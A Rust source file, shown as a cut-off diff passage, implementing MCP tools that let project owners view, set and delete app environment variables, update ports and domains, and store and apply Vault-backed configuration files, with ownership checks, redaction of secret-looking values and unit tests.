+//! +//! Configuration changes are staged and applied on next deployment/restart. + +use async_trait::async_trait; +use serde_json::{json, Map, Value}; +use std::collections::{BTreeSet, HashSet}; + +use crate::db; +use crate::mcp::protocol::{Tool, ToolContent}; +use crate::mcp::registry::{ToolContext, ToolHandler}; +use crate::services::env_model::normalize_json_env; +use serde::{Deserialize, Serialize}; + +/// Get environment variables for an app in a project +pub struct GetAppEnvVarsTool; + +#[async_trait] +impl ToolHandler for GetAppEnvVarsTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + project_id: i32, + app_code: String, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Verify project ownership + let project = db::project::fetch(&context.pg_pool, params.project_id) + .await + .map_err(|e| format!("Failed to fetch project: {}", e))? + .ok_or_else(|| "Project not found".to_string())?; + + if project.user_id != context.user.id { + return Err("Project not found".to_string()); // Don't reveal existence to non-owner + } + + // Fetch app configuration from project + let app = db::project_app::fetch_by_project_and_code( + &context.pg_pool, + params.project_id, + ¶ms.app_code, + ) + .await + .map_err(|e| format!("Failed to fetch app: {}", e))? + .ok_or_else(|| format!("App '{}' not found in project", params.app_code))?; + + // Parse environment variables from app config + let env_vars = app.environment.clone().unwrap_or_default(); + let secure_keys = load_remote_secret_names( + &context.pg_pool, + &context.user.id, + params.project_id, + ¶ms.app_code, + ) + .await?; + let redacted_env = redact_sensitive_env_vars_with_secure_keys(&env_vars, &secure_keys); + let env_entries = build_env_var_entries(&env_vars, &secure_keys); + let secure_count = env_entries.iter().filter(|entry| entry.secure).count(); + + let result = json!({ + "project_id": params.project_id, + "app_code": params.app_code, + "environment_variables": redacted_env, + "environment_entries": env_entries, + "count": redacted_env.as_object().map(|o| o.len()).unwrap_or(0), + "secure_count": secure_count, + "note": "Sensitive values are redacted for security. Vault-backed variables are marked with secure=true." + }); + + tracing::info!( + user_id = %context.user.id, + project_id = params.project_id, + app_code = %params.app_code, + "Fetched app environment variables via MCP" + ); + + Ok(ToolContent::Text { + text: serde_json::to_string_pretty(&result).unwrap_or_else(|_| result.to_string()), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "get_app_env_vars".to_string(), + description: "Get environment variables configured for a specific app in a project. Sensitive values (passwords, API keys) are automatically redacted for security.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "project_id": { + "type": "number", + "description": "The project ID containing the app" + }, + "app_code": { + "type": "string", + "description": "The app code (e.g., 'nginx', 'postgres', 'redis')" + } + }, + "required": ["project_id", "app_code"] + }), + } + } +} + +/// Set or update an environment variable for an app +pub struct SetAppEnvVarTool; + +#[async_trait] +impl ToolHandler for SetAppEnvVarTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + project_id: i32, + app_code: String, + name: String, + value: String, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Validate env var name + if !is_valid_env_var_name(¶ms.name) { + return Err("Invalid environment variable name. Must start with a letter and contain only alphanumeric characters and underscores.".to_string()); + } + + // Verify project ownership + let project = db::project::fetch(&context.pg_pool, params.project_id) + .await + .map_err(|e| format!("Failed to fetch project: {}", e))? + .ok_or_else(|| "Project not found".to_string())?; + + if project.user_id != context.user.id { + return Err("Project not found".to_string()); + } + + // Fetch and update app configuration + let mut app = db::project_app::fetch_by_project_and_code( + &context.pg_pool, + params.project_id, + ¶ms.app_code, + ) + .await + .map_err(|e| format!("Failed to fetch app: {}", e))? + .ok_or_else(|| format!("App '{}' not found in project", params.app_code))?; + + // Update environment variable + let mut env = app.environment.clone().unwrap_or_else(|| json!({})); + if let Some(obj) = env.as_object_mut() { + obj.insert(params.name.clone(), json!(params.value)); + } + app.environment = Some(env); + + // Save updated app config + db::project_app::update(&context.pg_pool, &app) + .await + .map_err(|e| format!("Failed to update app: {}", e))?; + + let result = json!({ + "success": true, + "project_id": params.project_id, + "app_code": params.app_code, + "variable": params.name, + "action": "set", + "note": "Environment variable updated. Changes will take effect on next restart or redeploy." + }); + + tracing::info!( + user_id = %context.user.id, + project_id = params.project_id, + app_code = %params.app_code, + var_name = %params.name, + "Set environment variable via MCP" + ); + + Ok(ToolContent::Text { + text: serde_json::to_string_pretty(&result).unwrap_or_else(|_| result.to_string()), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "set_app_env_var".to_string(), + description: "Set or update an environment variable for a specific app in a project. Changes are staged and will take effect on the next container restart or redeployment.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "project_id": { + "type": "number", + "description": "The project ID containing the app" + }, + "app_code": { + "type": "string", + "description": "The app code (e.g., 'nginx', 'postgres', 'redis')" + }, + "name": { + "type": "string", + "description": "Environment variable name (e.g., 'DATABASE_URL', 'LOG_LEVEL')" + }, + "value": { + "type": "string", + "description": "Value to set for the environment variable" + } + }, + "required": ["project_id", "app_code", "name", "value"] + }), + } + } +} + +/// Delete an environment variable from an app +pub struct DeleteAppEnvVarTool; + +#[async_trait] +impl ToolHandler for DeleteAppEnvVarTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + project_id: i32, + app_code: String, + name: String, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Verify project ownership + let project = db::project::fetch(&context.pg_pool, params.project_id) + .await + .map_err(|e| format!("Failed to fetch project: {}", e))? + .ok_or_else(|| "Project not found".to_string())?; + + if project.user_id != context.user.id { + return Err("Project not found".to_string()); + } + + // Fetch and update app configuration + let mut app = db::project_app::fetch_by_project_and_code( + &context.pg_pool, + params.project_id, + ¶ms.app_code, + ) + .await + .map_err(|e| format!("Failed to fetch app: {}", e))? + .ok_or_else(|| format!("App '{}' not found in project", params.app_code))?; + + // Remove environment variable + let mut env = app.environment.clone().unwrap_or_else(|| json!({})); + let existed = if let Some(obj) = env.as_object_mut() { + obj.remove(¶ms.name).is_some() + } else { + false + }; + app.environment = Some(env); + + if !existed { + return Err(format!( + "Environment variable '{}' not found in app '{}'", + params.name, params.app_code + )); + } + + // Save updated app config + db::project_app::update(&context.pg_pool, &app) + .await + .map_err(|e| format!("Failed to update app: {}", e))?; + + let result = json!({ + "success": true, + "project_id": params.project_id, + "app_code": params.app_code, + "variable": params.name, + "action": "deleted", + "note": "Environment variable removed. Changes will take effect on next restart or redeploy." + }); + + tracing::info!( + user_id = %context.user.id, + project_id = params.project_id, + app_code = %params.app_code, + var_name = %params.name, + "Deleted environment variable via MCP" + ); + + Ok(ToolContent::Text { + text: serde_json::to_string_pretty(&result).unwrap_or_else(|_| result.to_string()), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "delete_app_env_var".to_string(), + description: "Remove an environment variable from a specific app in a project. Changes will take effect on the next container restart or redeployment.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "project_id": { + "type": "number", + "description": "The project ID containing the app" + }, + "app_code": { + "type": "string", + "description": "The app code (e.g., 'nginx', 'postgres', 'redis')" + }, + "name": { + "type": "string", + "description": "Environment variable name to delete" + } + }, + "required": ["project_id", "app_code", "name"] + }), + } + } +} + +/// Get the full app configuration including ports, volumes, and settings +pub struct GetAppConfigTool; + +#[async_trait] +impl ToolHandler for GetAppConfigTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + project_id: i32, + app_code: String, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Verify project ownership + let project = db::project::fetch(&context.pg_pool, params.project_id) + .await + .map_err(|e| format!("Failed to fetch project: {}", e))? + .ok_or_else(|| "Project not found".to_string())?; + + if project.user_id != context.user.id { + return Err("Project not found".to_string()); + } + + // Fetch app configuration + let app = db::project_app::fetch_by_project_and_code( + &context.pg_pool, + params.project_id, + ¶ms.app_code, + ) + .await + .map_err(|e| format!("Failed to fetch app: {}", e))? + .ok_or_else(|| format!("App '{}' not found in project", params.app_code))?; + + // Build config response with redacted sensitive data + let env_vars = app.environment.clone().unwrap_or_default(); + let redacted_env = redact_sensitive_env_vars(&env_vars); + + let result = json!({ + "project_id": params.project_id, + "app_code": params.app_code, + "app_name": app.name, + "image": app.image, + "ports": app.ports, + "volumes": app.volumes, + "environment_variables": redacted_env, + "domain": app.domain, + "ssl_enabled": app.ssl_enabled.unwrap_or(false), + "restart_policy": app.restart_policy.clone().unwrap_or_else(|| "unless-stopped".to_string()), + "resources": app.resources, + "depends_on": app.depends_on, + "note": "Sensitive environment variable values are redacted for security." + }); + + tracing::info!( + user_id = %context.user.id, + project_id = params.project_id, + app_code = %params.app_code, + "Fetched full app configuration via MCP" + ); + + Ok(ToolContent::Text { + text: serde_json::to_string_pretty(&result).unwrap_or_else(|_| result.to_string()), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "get_app_config".to_string(), + description: "Get the full configuration for a specific app in a project, including ports, volumes, environment variables, resource limits, and SSL settings.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "project_id": { + "type": "number", + "description": "The project ID containing the app" + }, + "app_code": { + "type": "string", + "description": "The app code (e.g., 'nginx', 'postgres', 'redis')" + } + }, + "required": ["project_id", "app_code"] + }), + } + } +} + +/// Update app port mappings +pub struct UpdateAppPortsTool; + +#[async_trait] +impl ToolHandler for UpdateAppPortsTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct PortMapping { + host: u16, + container: u16, + #[serde(default = "default_protocol")] + protocol: String, + } + + fn default_protocol() -> String { + "tcp".to_string() + } + + #[derive(Deserialize)] + struct Args { + project_id: i32, + app_code: String, + ports: Vec, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Validate ports (u16 type already enforces max 65535, so we only check for 0) + for port in ¶ms.ports { + if port.host == 0 { + return Err(format!("Invalid host port: {}", port.host)); + } + if port.container == 0 { + return Err(format!("Invalid container port: {}", port.container)); + } + if port.protocol != "tcp" && port.protocol != "udp" { + return Err(format!( + "Invalid protocol '{}'. Must be 'tcp' or 'udp'.", + port.protocol + )); + } + } + + // Verify project ownership + let project = db::project::fetch(&context.pg_pool, params.project_id) + .await + .map_err(|e| format!("Failed to fetch project: {}", e))? + .ok_or_else(|| "Project not found".to_string())?; + + if project.user_id != context.user.id { + return Err("Project not found".to_string()); + } + + // Fetch and update app + let mut app = db::project_app::fetch_by_project_and_code( + &context.pg_pool, + params.project_id, + ¶ms.app_code, + ) + .await + .map_err(|e| format!("Failed to fetch app: {}", e))? + .ok_or_else(|| format!("App '{}' not found in project", params.app_code))?; + + // Update ports + let ports_json: Vec = params + .ports + .iter() + .map(|p| { + json!({ + "host": p.host, + "container": p.container, + "protocol": p.protocol + }) + }) + .collect(); + + app.ports = Some(json!(ports_json)); + + // Save updated app config + db::project_app::update(&context.pg_pool, &app) + .await + .map_err(|e| format!("Failed to update app: {}", e))?; + + let result = json!({ + "success": true, + "project_id": params.project_id, + "app_code": params.app_code, + "ports": ports_json, + "note": "Port mappings updated. Changes will take effect on next redeploy." + }); + + tracing::info!( + user_id = %context.user.id, + project_id = params.project_id, + app_code = %params.app_code, + ports_count = params.ports.len(), + "Updated app port mappings via MCP" + ); + + Ok(ToolContent::Text { + text: serde_json::to_string_pretty(&result).unwrap_or_else(|_| result.to_string()), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "update_app_ports".to_string(), + description: "Update port mappings for a specific app. Allows configuring which ports are exposed from the container to the host.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "project_id": { + "type": "number", + "description": "The project ID containing the app" + }, + "app_code": { + "type": "string", + "description": "The app code (e.g., 'nginx', 'postgres')" + }, + "ports": { + "type": "array", + "description": "Array of port mappings", + "items": { + "type": "object", + "properties": { + "host": { + "type": "number", + "description": "Port on the host machine" + }, + "container": { + "type": "number", + "description": "Port inside the container" + }, + "protocol": { + "type": "string", + "enum": ["tcp", "udp"], + "description": "Protocol (default: tcp)" + } + }, + "required": ["host", "container"] + } + } + }, + "required": ["project_id", "app_code", "ports"] + }), + } + } +} + +/// Update app domain configuration +pub struct UpdateAppDomainTool; + +#[async_trait] +impl ToolHandler for UpdateAppDomainTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + project_id: i32, + app_code: String, + domain: String, + #[serde(default)] + enable_ssl: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Basic domain validation + if !is_valid_domain(¶ms.domain) { + return Err("Invalid domain format. Please provide a valid domain name (e.g., 'example.com' or 'app.example.com')".to_string()); + } + + // Verify project ownership + let project = db::project::fetch(&context.pg_pool, params.project_id) + .await + .map_err(|e| format!("Failed to fetch project: {}", e))? + .ok_or_else(|| "Project not found".to_string())?; + + if project.user_id != context.user.id { + return Err("Project not found".to_string()); + } + + // Fetch and update app + let mut app = db::project_app::fetch_by_project_and_code( + &context.pg_pool, + params.project_id, + ¶ms.app_code, + ) + .await + .map_err(|e| format!("Failed to fetch app: {}", e))? + .ok_or_else(|| format!("App '{}' not found in project", params.app_code))?; + + // Update domain and SSL + app.domain = Some(params.domain.clone()); + if let Some(ssl) = params.enable_ssl { + app.ssl_enabled = Some(ssl); + } + + // Save updated app config + db::project_app::update(&context.pg_pool, &app) + .await + .map_err(|e| format!("Failed to update app: {}", e))?; + + let result = json!({ + "success": true, + "project_id": params.project_id, + "app_code": params.app_code, + "domain": params.domain, + "ssl_enabled": app.ssl_enabled.unwrap_or(false), + "note": "Domain configuration updated. Remember to point your DNS to the server IP. Changes take effect on next redeploy.", + "dns_instructions": format!( + "Add an A record pointing '{}' to your server's IP address.", + params.domain + ) + }); + + tracing::info!( + user_id = %context.user.id, + project_id = params.project_id, + app_code = %params.app_code, + domain = %params.domain, + "Updated app domain via MCP" + ); + + Ok(ToolContent::Text { + text: serde_json::to_string_pretty(&result).unwrap_or_else(|_| result.to_string()), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "update_app_domain".to_string(), + description: "Configure the domain for a specific app. Optionally enable SSL/HTTPS for secure connections.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "project_id": { + "type": "number", + "description": "The project ID containing the app" + }, + "app_code": { + "type": "string", + "description": "The app code (e.g., 'nginx', 'wordpress')" + }, + "domain": { + "type": "string", + "description": "The domain name (e.g., 'myapp.example.com')" + }, + "enable_ssl": { + "type": "boolean", + "description": "Enable SSL/HTTPS with Let's Encrypt (default: false)" + } + }, + "required": ["project_id", "app_code", "domain"] + }), + } + } +} + +// Helper functions + +#[derive(Debug, Clone, Serialize, PartialEq, Eq)] +struct AppEnvVarEntry { + name: String, + value: String, + secure: bool, + redacted: bool, + source: String, +} + +async fn load_remote_secret_names( + pool: &sqlx::PgPool, + user_id: &str, + project_id: i32, + app_code: &str, +) -> Result, String> { + db::remote_secret::list_service_secrets(pool, user_id, project_id, app_code) + .await + .map(|secrets| secrets.into_iter().map(|secret| secret.name).collect()) + .map_err(|error| format!("Failed to load remote service secrets: {}", error)) +} + +/// Redact sensitive environment variable values +fn redact_sensitive_env_vars(env: &Value) -> Value { + redact_sensitive_env_vars_with_secure_keys(env, &HashSet::new()) +} + +fn redact_sensitive_env_vars_with_secure_keys(env: &Value, secure_keys: &HashSet) -> Value { + let mut normalized = normalize_environment_object(env); + for key in secure_keys { + normalized.insert(key.clone(), json!("[REDACTED]")); + } + + let redacted = normalized + .into_iter() + .map(|(key, value)| { + if should_redact_env_var(&key, secure_keys) { + (key, json!("[REDACTED]")) + } else { + (key, value) + } + }) + .collect(); + + Value::Object(redacted) +} + +fn build_env_var_entries(env: &Value, secure_keys: &HashSet) -> Vec { + let normalized = normalize_environment_object(env); + let mut keys: BTreeSet = normalized.keys().cloned().collect(); + keys.extend(secure_keys.iter().cloned()); + + keys.into_iter() + .map(|name| { + let secure = secure_keys.contains(&name); + let redacted = should_redact_env_var(&name, secure_keys); + let value = if redacted { + "[REDACTED]".to_string() + } else { + stringify_env_value(normalized.get(&name)) + }; + + AppEnvVarEntry { + name, + value, + secure, + redacted, + source: if secure { + "vault".to_string() + } else { + "project".to_string() + }, + } + }) + .collect() +} + +fn should_redact_env_var(name: &str, secure_keys: &HashSet) -> bool { + secure_keys.contains(name) || is_sensitive_env_var_name(name) +} + +fn is_sensitive_env_var_name(name: &str) -> bool { + const SENSITIVE_PATTERNS: &[&str] = &[ + "password", + "passwd", + "username", + "secret", + "token", + "key", + "auth", + "credential", + "api_key", + "apikey", + "private", + "cert", + "jwt", + "bearer", + "access_token", + "refresh_token", + ]; + + let key_lower = name.to_lowercase(); + SENSITIVE_PATTERNS + .iter() + .any(|pattern| key_lower.contains(pattern)) +} + +fn normalize_environment_object(env: &Value) -> Map { + normalize_json_env(env) + .into_iter() + .map(|(key, value)| (key, Value::String(value))) + .collect() +} + +fn stringify_env_value(value: Option<&Value>) -> String { + match value { + Some(Value::String(text)) => text.clone(), + Some(other) => other.to_string(), + None => String::new(), + } +} + +/// Validate environment variable name +fn is_valid_env_var_name(name: &str) -> bool { + if name.is_empty() { + return false; + } + + let mut chars = name.chars(); + + // First character must be a letter or underscore + if let Some(first) = chars.next() { + if !first.is_ascii_alphabetic() && first != '_' { + return false; + } + } + + // Rest must be alphanumeric or underscore + chars.all(|c| c.is_ascii_alphanumeric() || c == '_') +} + +/// Basic domain validation +fn is_valid_domain(domain: &str) -> bool { + if domain.is_empty() || domain.len() > 253 { + return false; + } + + // Simple regex-like check + let parts: Vec<&str> = domain.split('.').collect(); + if parts.len() < 2 { + return false; + } + + for part in parts { + if part.is_empty() || part.len() > 63 { + return false; + } + if !part.chars().all(|c| c.is_ascii_alphanumeric() || c == '-') { + return false; + } + if part.starts_with('-') || part.ends_with('-') { + return false; + } + } + + true +} + +// ============================================================================= +// Vault Configuration Tools +// ============================================================================= + +/// Get app configuration from Vault +pub struct GetVaultConfigTool; + +#[async_trait] +impl ToolHandler for GetVaultConfigTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + use crate::services::VaultService; + + #[derive(Deserialize)] + struct Args { + deployment_hash: String, + app_code: String, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Verify deployment ownership via deployment table + let deployment = + db::deployment::fetch_by_deployment_hash(&context.pg_pool, ¶ms.deployment_hash) + .await + .map_err(|e| format!("Failed to fetch deployment: {}", e))? + .ok_or_else(|| "Deployment not found".to_string())?; + + if deployment.user_id.as_deref() != Some(context.user.id.as_str()) { + return Err("Deployment not found".to_string()); + } + + // Initialize Vault service + let vault = VaultService::from_env() + .map_err(|e| format!("Vault error: {}", e))? + .ok_or_else(|| { + "Vault not configured. Contact support to enable config management.".to_string() + })?; + + // Fetch config from Vault + match vault + .fetch_app_config(¶ms.deployment_hash, ¶ms.app_code) + .await + { + Ok(config) => { + let result = json!({ + "deployment_hash": params.deployment_hash, + "app_code": params.app_code, + "config": { + "content": config.content, + "content_type": config.content_type, + "destination_path": config.destination_path, + "file_mode": config.file_mode, + "owner": config.owner, + "group": config.group, + }, + "source": "vault", + }); + + tracing::info!( + user_id = %context.user.id, + deployment_hash = %params.deployment_hash, + app_code = %params.app_code, + "Fetched Vault config via MCP" + ); + + Ok(ToolContent::Text { + text: serde_json::to_string_pretty(&result) + .unwrap_or_else(|_| result.to_string()), + }) + } + Err(crate::services::VaultError::NotFound(_)) => { + let result = json!({ + "deployment_hash": params.deployment_hash, + "app_code": params.app_code, + "config": null, + "message": format!("No configuration found in Vault for app '{}'", params.app_code), + }); + Ok(ToolContent::Text { + text: serde_json::to_string_pretty(&result) + .unwrap_or_else(|_| result.to_string()), + }) + } + Err(e) => Err(format!("Failed to fetch config from Vault: {}", e)), + } + } + + fn schema(&self) -> Tool { + Tool { + name: "get_vault_config".to_string(), + description: "Get app configuration file from Vault for a deployment. Returns the config content, type, and destination path.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_hash": { + "type": "string", + "description": "The deployment hash" + }, + "app_code": { + "type": "string", + "description": "The app code (e.g., 'nginx', 'app', 'redis')" + } + }, + "required": ["deployment_hash", "app_code"] + }), + } + } +} + +/// Store app configuration in Vault +pub struct SetVaultConfigTool; + +#[async_trait] +impl ToolHandler for SetVaultConfigTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + use crate::services::{AppConfig, VaultService}; + + #[derive(Deserialize)] + struct Args { + deployment_hash: String, + app_code: String, + content: String, + content_type: Option, + destination_path: String, + file_mode: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Verify deployment ownership + let deployment = + db::deployment::fetch_by_deployment_hash(&context.pg_pool, ¶ms.deployment_hash) + .await + .map_err(|e| format!("Failed to fetch deployment: {}", e))? + .ok_or_else(|| "Deployment not found".to_string())?; + + if deployment.user_id.as_deref() != Some(&context.user.id as &str) { + return Err("Deployment not found".to_string()); + } + + // Validate destination path + if params.destination_path.is_empty() || !params.destination_path.starts_with('/') { + return Err("destination_path must be an absolute path (starting with /)".to_string()); + } + + // Initialize Vault service + let vault = VaultService::from_env() + .map_err(|e| format!("Vault error: {}", e))? + .ok_or_else(|| { + "Vault not configured. Contact support to enable config management.".to_string() + })?; + + let config = AppConfig { + content: params.content.clone(), + content_type: params.content_type.unwrap_or_else(|| "text".to_string()), + destination_path: params.destination_path.clone(), + file_mode: params.file_mode.unwrap_or_else(|| "0644".to_string()), + owner: None, + group: None, + }; + + // Store in Vault + vault + .store_app_config(¶ms.deployment_hash, ¶ms.app_code, &config) + .await + .map_err(|e| format!("Failed to store config in Vault: {}", e))?; + + let result = json!({ + "success": true, + "deployment_hash": params.deployment_hash, + "app_code": params.app_code, + "destination_path": params.destination_path, + "content_type": config.content_type, + "content_length": params.content.len(), + "message": "Configuration stored in Vault. Use apply_vault_config to write to the deployment server.", + }); + + tracing::info!( + user_id = %context.user.id, + deployment_hash = %params.deployment_hash, + app_code = %params.app_code, + destination = %params.destination_path, + "Stored Vault config via MCP" + ); + + Ok(ToolContent::Text { + text: serde_json::to_string_pretty(&result).unwrap_or_else(|_| result.to_string()), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "set_vault_config".to_string(), + description: "Store app configuration file in Vault for a deployment. The config will be written to the server on next apply.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_hash": { + "type": "string", + "description": "The deployment hash" + }, + "app_code": { + "type": "string", + "description": "The app code (e.g., 'nginx', 'app', 'redis')" + }, + "content": { + "type": "string", + "description": "The configuration file content" + }, + "content_type": { + "type": "string", + "enum": ["json", "yaml", "env", "text"], + "description": "The content type (default: text)" + }, + "destination_path": { + "type": "string", + "description": "Absolute path where the config should be written on the server" + }, + "file_mode": { + "type": "string", + "description": "File permissions (default: 0644)" + } + }, + "required": ["deployment_hash", "app_code", "content", "destination_path"] + }), + } + } +} + +/// List all app configs stored in Vault for a deployment +pub struct ListVaultConfigsTool; + +#[async_trait] +impl ToolHandler for ListVaultConfigsTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + use crate::services::VaultService; + + #[derive(Deserialize)] + struct Args { + deployment_hash: String, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Verify deployment ownership + let deployment = + db::deployment::fetch_by_deployment_hash(&context.pg_pool, ¶ms.deployment_hash) + .await + .map_err(|e| format!("Failed to fetch deployment: {}", e))? + .ok_or_else(|| "Deployment not found".to_string())?; + + if deployment.user_id.as_deref() != Some(&context.user.id as &str) { + return Err("Deployment not found".to_string()); + } + + // Initialize Vault service + let vault = VaultService::from_env() + .map_err(|e| format!("Vault error: {}", e))? + .ok_or_else(|| { + "Vault not configured. Contact support to enable config management.".to_string() + })?; + + // List configs + let apps = vault + .list_app_configs(¶ms.deployment_hash) + .await + .map_err(|e| format!("Failed to list configs: {}", e))?; + + let result = json!({ + "deployment_hash": params.deployment_hash, + "apps": apps, + "count": apps.len(), + }); + + tracing::info!( + user_id = %context.user.id, + deployment_hash = %params.deployment_hash, + count = apps.len(), + "Listed Vault configs via MCP" + ); + + Ok(ToolContent::Text { + text: serde_json::to_string_pretty(&result).unwrap_or_else(|_| result.to_string()), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "list_vault_configs".to_string(), + description: "List all app configurations stored in Vault for a deployment." + .to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_hash": { + "type": "string", + "description": "The deployment hash" + } + }, + "required": ["deployment_hash"] + }), + } + } +} + +/// Apply app configuration from Vault to the deployment server +pub struct ApplyVaultConfigTool; + +#[async_trait] +impl ToolHandler for ApplyVaultConfigTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + use crate::services::agent_dispatcher::AgentDispatcher; + + #[derive(Deserialize)] + struct Args { + deployment_hash: String, + app_code: String, + #[serde(default)] + restart_after: bool, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Verify deployment ownership + let deployment = + db::deployment::fetch_by_deployment_hash(&context.pg_pool, ¶ms.deployment_hash) + .await + .map_err(|e| format!("Failed to fetch deployment: {}", e))? + .ok_or_else(|| "Deployment not found".to_string())?; + + if deployment.user_id.as_deref() != Some(&context.user.id as &str) { + return Err("Deployment not found".to_string()); + } + + // Queue the apply_config command to the Status Panel agent + let command_payload = json!({ + "deployment_hash": params.deployment_hash, + "app_code": params.app_code, + "restart_after": params.restart_after, + }); + + let dispatcher = AgentDispatcher::new(&context.pg_pool); + let command_id = dispatcher + .queue_command(deployment.id, "apply_config", command_payload) + .await + .map_err(|e| format!("Failed to queue command: {}", e))?; + + let result = json!({ + "success": true, + "command_id": command_id, + "deployment_hash": params.deployment_hash, + "app_code": params.app_code, + "restart_after": params.restart_after, + "message": format!( + "Configuration apply command queued. The agent will fetch config from Vault and write to disk{}.", + if params.restart_after { ", then restart the container" } else { "" } + ), + "status": "queued", + }); + + tracing::info!( + user_id = %context.user.id, + deployment_hash = %params.deployment_hash, + app_code = %params.app_code, + command_id = %command_id, + "Queued apply_config command via MCP" + ); + + Ok(ToolContent::Text { + text: serde_json::to_string_pretty(&result).unwrap_or_else(|_| result.to_string()), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "apply_vault_config".to_string(), + description: "Apply app configuration from Vault to the deployment server. The Status Panel agent will fetch the config and write it to disk. Optionally restarts the container after applying.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_hash": { + "type": "string", + "description": "The deployment hash" + }, + "app_code": { + "type": "string", + "description": "The app code (e.g., 'nginx', 'app', 'redis')" + }, + "restart_after": { + "type": "boolean", + "description": "Whether to restart the container after applying the config (default: false)" + } + }, + "required": ["deployment_hash", "app_code"] + }), + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_is_valid_env_var_name() { + assert!(is_valid_env_var_name("DATABASE_URL")); + assert!(is_valid_env_var_name("LOG_LEVEL")); + assert!(is_valid_env_var_name("_PRIVATE")); + assert!(is_valid_env_var_name("var1")); + + assert!(!is_valid_env_var_name("")); + assert!(!is_valid_env_var_name("1VAR")); + assert!(!is_valid_env_var_name("VAR-NAME")); + assert!(!is_valid_env_var_name("VAR.NAME")); + } + + #[test] + fn test_is_valid_domain() { + assert!(is_valid_domain("example.com")); + assert!(is_valid_domain("sub.example.com")); + assert!(is_valid_domain("my-app.example.co.uk")); + + assert!(!is_valid_domain("")); + assert!(!is_valid_domain("example")); + assert!(!is_valid_domain("-example.com")); + assert!(!is_valid_domain("example-.com")); + } + + #[test] + fn test_redact_sensitive_env_vars() { + let env = json!({ + "DATABASE_URL": "postgres://localhost", + "DB_PASSWORD": "secret123", + "API_KEY": "key-abc-123", + "REGISTRY_USERNAME": "registry-user", + "VAULT_TOKEN": "vault-token-value", + "INTERNAL_SERVICES_ACCESS_KEY": "internal-access-key", + "LOG_LEVEL": "debug", + "PORT": "8080" + }); + + let redacted = redact_sensitive_env_vars(&env); + let obj = redacted.as_object().unwrap(); + + assert_eq!(obj.get("DATABASE_URL").unwrap(), "postgres://localhost"); + assert_eq!(obj.get("DB_PASSWORD").unwrap(), "[REDACTED]"); + assert_eq!(obj.get("API_KEY").unwrap(), "[REDACTED]"); + assert_eq!(obj.get("REGISTRY_USERNAME").unwrap(), "[REDACTED]"); + assert_eq!(obj.get("VAULT_TOKEN").unwrap(), "[REDACTED]"); + assert_eq!( + obj.get("INTERNAL_SERVICES_ACCESS_KEY").unwrap(), + "[REDACTED]" + ); + assert_eq!(obj.get("LOG_LEVEL").unwrap(), "debug"); + assert_eq!(obj.get("PORT").unwrap(), "8080"); + } + + #[test] + fn test_redact_secure_vault_vars_even_without_sensitive_name() { + let env = json!({ + "LOG_LEVEL": "debug" + }); + let secure_keys = HashSet::from([String::from("MYSECURE_PASSPHRASE")]); + + let redacted = redact_sensitive_env_vars_with_secure_keys(&env, &secure_keys); + let obj = redacted.as_object().unwrap(); + + assert_eq!(obj.get("LOG_LEVEL").unwrap(), "debug"); + assert_eq!(obj.get("MYSECURE_PASSPHRASE").unwrap(), "[REDACTED]"); + } + + #[test] + fn test_build_env_var_entries_marks_vault_vars_secure() { + let env = json!({ + "LOG_LEVEL": "debug", + "MYSECURE_TOKEN": "ignored-local" + }); + let secure_keys = HashSet::from([String::from("MYSECURE_PASSPHRASE")]); + + let entries = build_env_var_entries(&env, &secure_keys); + + assert!(entries.contains(&AppEnvVarEntry { + name: "LOG_LEVEL".to_string(), + value: "debug".to_string(), + secure: false, + redacted: false, + source: "project".to_string(), + })); + assert!(entries.contains(&AppEnvVarEntry { + name: "MYSECURE_PASSPHRASE".to_string(), + value: "[REDACTED]".to_string(), + secure: true, + redacted: true, + source: 